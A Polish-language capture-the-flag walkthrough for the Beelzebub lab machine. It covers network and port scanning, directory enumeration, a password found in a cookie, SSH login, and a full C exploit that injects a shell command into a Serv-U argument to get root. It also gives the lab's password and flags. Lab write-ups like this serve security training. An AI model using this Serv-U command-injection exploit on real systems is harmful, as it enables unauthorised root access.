CTF - Beelzebub
Autor: adi7312
Poziom trudności: łatwy
Link do maszyny: Beelzebub.
Skanowanie sieci
Cel: Znaleźć IP podatnej maszyny.
W celu znalezienia maszyny Beelzebub korzystamy z polecenia:
netdisocer -r 192.168.138.0/24

IP Beelzebub’a: 192.168.138.136
Skanowanie portów
Cel: Dokonać enumeracji wersji usług, dowiedzieć się na jakim systemie operacyjnym działa host
nmap 192.168.138.136 -sV -O -Pn

Jak widzimy host operuje na 2 portach: 22 - ssh, 80 - http.
Enumeracja
Korzystamy z narzędzia dirb, wpisujemy polecenie:
dirb http://192.168.138.136:80/
Wynikiem tego polecenia jest lista plików i folderów które znajdują się w naszym wrażliwym hoście. Przejrzyjmy sobie część tych plików zacznijmy od index.php w głównym katalogu.

Wpisując w przeglądarkę http://192.168.138.136:80/index.php nie otrzymujemy nic ciekawego, jednak w samym kodzie źródłowym możemy znaleźć podpowiedź.

Zamieńmy zatem wartość beelzebub na hash md5.
echo -n "beelzebub" | md5sum
Output: d18e1e22becbd915b45e0e655429d487
Spróbujmy teraz przejść na stronę z danym hashem i odziwo nie dostajemy Not found tylko unable to connect oznacza to, że dany folder istnieje ale nie możemy połączyć sie na daną stronę, ponownie dokonujemy enumeracji.
dirb http://192.168.138.136/d18e1e22becbd915b45e0e655429d487/

Z powyższych katalogów najbardziej będzie nas interesować wp-content/uploads. W przeglądarce wygląda on tak:

Po wejściu w kataolog Talk to VALAK ukazuje nam się strona, wpisujemy tam dowolną nazwę i patrzymy na zakładkę Network w Web Developerze.

W nagłówku znajdował się plik cookie ustawiający hasło M4k3Ad3a1. Widziliśmy wcześniej że host ma otwarty port ssh, więc połączymy się z naszym hostem przez ssh. Wpisujemy więc polecenie:
ssh krampus@192.168.138.136
Oraz podajemy zdobyte przed chwilą hasło.
Eskalacja uprawnień oraz zdobycie flagi

Po zalogowaniu się, możemy potwierdzić że jesteśmy użytkownikiem krampus poleceniem whoami. Następnie używamy polecenia sudo -l, jednak nasz użytkownik nie może wykonać żadnego polecenia sudo, zatem szukamy wskazówek gdzie indziej. Po wpisaniu polecenia ls -la widzimy pewien element nazwany .Serv-U-Tray.conf, po krótki researchu dowiedzielismy się że możemy wykorzystać podatność serwera FTP Serv-u-tray do eskalacji uprawnień, tworzymy plik poleceniem: touch priv_esc.c oraz edytujemy jego zawartość poleceniem nano priv_esc.c. Wpisujemy poniższy kod.
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main()
{
char *vuln_args[] = {"\" ; id; echo 'opening root shell' ; /bin/sh; \"", "-prepareinstallation", NULL};
int ret_val = execv("/usr/local/Serv-U/Serv-U", vuln_args);
// if execv is successful, we won't reach here
printf("ret val: %d errno: %d\n", ret_val, errno);
return errno;
}
W nastepnej kolejności należy skompilować nasz program, robimy to poleceniem gcc priv_esc.c. Kompilator utworzył nam plik a.out, nadajemy temu plikowi uprawnienia executable poleceniem chmod +x a.out. Wykonujemy nasz program poleceniem ./a.out. Otrzymaliśmy uprawnienia roota.
W celu zdobycia flagi użytkownika wchodzimy na puplit Krampusa i otwieramy flagę user.txt.
cd /home/krampus/Desktop; cat user.txt
Output: aq12uu909a0q921a2819b05568a992m9
W celu zdobycia flagi roota przechodzimy do katalogu /root i otwieramy flagę.
cd /root; cat root.txt
Output: 8955qpasq8qq807879p75e1rr24cr1a5